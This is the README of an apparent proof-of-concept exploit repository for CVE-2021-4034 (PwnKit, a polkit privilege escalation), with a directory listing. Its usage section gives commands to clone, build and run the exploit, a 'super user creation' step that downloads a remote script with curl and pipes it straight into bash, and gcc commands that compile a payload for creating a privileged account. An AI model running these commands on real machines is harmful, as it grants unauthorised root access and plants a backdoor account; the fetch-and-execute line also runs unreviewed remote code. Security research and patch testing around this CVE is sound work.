CVE-2021-4034 PoC , polkit < 0.131# poppy : CVE-2021-4034
CVE-2021-4034 PoC , polkit < 0.131
## Usage
Tested on Arch Linux (Manjaro & Axyl OS)
```shell
git clone https://github.com/tahaafarooq/poppy
make
./poppy
```
**Super user creation exploit**
```shell
bash -c "$(curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh)"
```
```shell
gcc -shared su.c -o suuser -Wl,-e,entry -fPIC
./suuser
```
## POC

For more information about this vulnerability refer to the writeup https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
[4.0K] /data/pocs/9ce7ff8adffac9f06046fd4b534bc59f91574a0f
├── [ 120] Makefile
├── [ 16K] poppy
├── [1.4K] poppy.c
├── [ 647] README.md
├── [1.0K] su.c
├── [ 323] su-o.c
├── [ 15K] suuser
└── [ 152] suuser.sh
0 directories, 8 files